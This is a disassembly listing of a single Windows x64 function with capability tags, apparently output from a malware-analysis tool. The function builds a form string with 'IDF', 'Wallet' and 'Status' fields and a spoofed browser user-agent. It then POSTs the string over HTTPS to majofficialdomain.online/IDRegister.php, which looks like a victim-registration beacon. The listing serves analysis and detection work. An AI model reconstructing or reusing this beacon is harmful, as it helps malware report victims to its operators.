Function at 0x1400096f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
movaps xmmword [rsp + 0x130], xmm6
mov rax, qword [0x14007b100]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 8], rbx
mov r13, qword [r8 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 4
jb 0x140009e5c
mov qword [rsp + 0x40], rbx
cmp qword [r8 + 0x18], 0xf
jbe 0x140009769
mov rax, qword [r8]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea r12, [r13 + 4]
mov r14d, 0xf
lea r15, [rbp - 0x38]
cmp r12, r14
jbe 0x140009805
mov r14, r12
or r14, 0xf
cmp r14, rcx
jbe 0x1400097c7
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14002f2b8
test rax, rax
je 0x140009e7a
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140009801
mov eax, 0x16
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x1400097e1
xor r15d, r15d
jmp 0x140009801
cmp rcx, 0x1000
jb 0x1400097f9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009e50
jmp 0x1400097a8
call fcn.14002f2b8
mov r15, rax
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r14
mov dword [r15], 0x3d464449
lea rcx, [r15 + 4]
mov r8, r13
mov rdx, qword [rsp + 0x40]
call fcn.140056b50
mov byte [r15 + r12], 0
mov r8d, 8
lea rdx, str.Wallet
lea rcx, [rbp - 0x38]
call fcn.140019330
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14000987d
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rbp - 0x58]
call fcn.140019330
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 8
lea rdx, str.Status
lea rcx, [rbp - 0x78]
call fcn.140019330
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14000990b
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x68]
call fcn.140019330
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x8b
lea rdx, str.userAgentMozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_536.46__KHTML__like_Gecko__Chrome_49.0.2623.229_Safari_602.0_Edge_14.86840
lea rcx, [rsp + 0x48]
call fcn.140019330
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400099cb
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400099c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e62
call fcn.14002f190
movdqa xmm6, xmmword [0x14006a400]
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140009a1a
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e68
call fcn.14002f190
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140009a60
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e6e
call fcn.14002f190
movdqu xmmword [rbp - 0x68], xmm6
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140009aa4
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e74
call fcn.14002f190
movdqu xmmword [rbp - 0x48], xmm6
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140009ae8
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ae3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e7a
call fcn.14002f190
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r14, rax
test rax, rax
jne 0x140009c28
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140009b49
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b44
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e80
call fcn.14002f190
movdqu xmmword [rbp + 0x10], xmm6
mov byte [rbp], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140009b8c
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140009b87
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009e86
mov rcx, r8
call fcn.14002f190
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], r13
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009bd5
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140009bd0
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009e4a
mov rcx, r8
call fcn.14002f190
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009c1e
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140009c19
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009e56
mov rcx, r8
call fcn.14002f190
mov eax, 0xffffffff
jmp 0x140009e0c
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.majofficialdomain.online
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
test rax, rax
jne 0x140009c57
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140009b0e
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str._IDRegister.php
lea rdx, str.POST
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
jne 0x140009ca2
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140009b0e
lea r9, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r9, qword [rbp]
mov qword [rsp + 0x30], r13
mov eax, dword [rbp + 0x10]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_x_www_form_urlencoded
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140009ce5
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140009d3b
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e80
call fcn.14002f190
movdqu xmmword [rbp + 0x10], xmm6
mov byte [rbp], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140009d7e
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140009d79
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009e86
mov rcx, r8
call fcn.14002f190
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009dc7
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009dc2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009e4a
mov rcx, r8
call fcn.14002f190
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009e0c
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140009e07
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009e56
mov rcx, r8
call fcn.14002f190
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r13
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.14002f170
mov rbx, qword [rsp + 0x198]
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x140
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14003f25c
nop
call fcn.140002ce0
nop
call fcn.14003f25c
nop
call fcn.140002d80
nop
call fcn.14003f25c
nop
call fcn.14003f25c
nop
call fcn.14003f25c
nop
call fcn.14003f25c
nop
call fcn.14003f25c
int3
call fcn.14003f25c
nop
call fcn.14003f25c
int3